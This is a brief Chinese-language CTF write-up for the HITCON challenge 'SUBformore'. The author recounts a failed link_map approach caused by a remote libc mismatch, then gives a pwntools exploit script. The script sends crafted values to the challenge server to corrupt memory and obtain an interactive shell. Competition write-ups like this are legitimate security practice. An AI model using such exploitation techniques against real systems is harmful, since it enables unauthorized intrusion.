SUBformore (13 solves)
一开始想打dl的link_map,结果本地通了,远程调了半天。。。中间还以为是libc版本的问题用各种版本的libc都试了,还用他给的dockfile起了docker然后本地docker打通了结果远程还是不行。最后通过单字节的泄露发现远程和本地的libc除了got表上的数据其它好像都一样(被远程环境坑的最惨的一次,在一血出来前两个小时本地就通了,但就因为远程和本地libc的got表数据不一样把一血给玩没了……
早知道一开始就老实打io_file了(
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59
| from pwn import *
io = remote('chal-lessequalmore.chal.hitconctf.com', 11111)
ru = lambda x : io.recvuntil(x, drop = True) sl = lambda x : io.sendline(x) ia = lambda : io.interactive()
def f(s): pld = [] for x in s: pld.append('%' + str(ord(x))) return pld
ru('*** Flag Checker ***\n') for x in f(0x5b * 'i' + '\x6c'): sl(x)
sl('%x82') sl('%x53b9c') sl('%x77')
sl('%x83') sl('%x53cd2') sl('%x72')
sl('%x84') sl('%x53ced') sl('%x72')
sl('%x85') sl('%x53b9d') sl('%x77')
sl('%x86') sl('%x53ce6') sl('%x77')
sl('%x81') sl('%x53cea') sl('%x77')
sl('%x7e') sl('%x81') sl('%xffffffffffff7777')
sl('%xffffffffffff7777') sl('%x12dfeb') sl('%x933a0067') sl('%x580') sl('%x58') sl('%xfffffffffffffc88') sl('%xffffffffffffffff')
for x in f('i' * 0x39b): sl(x) ia()
|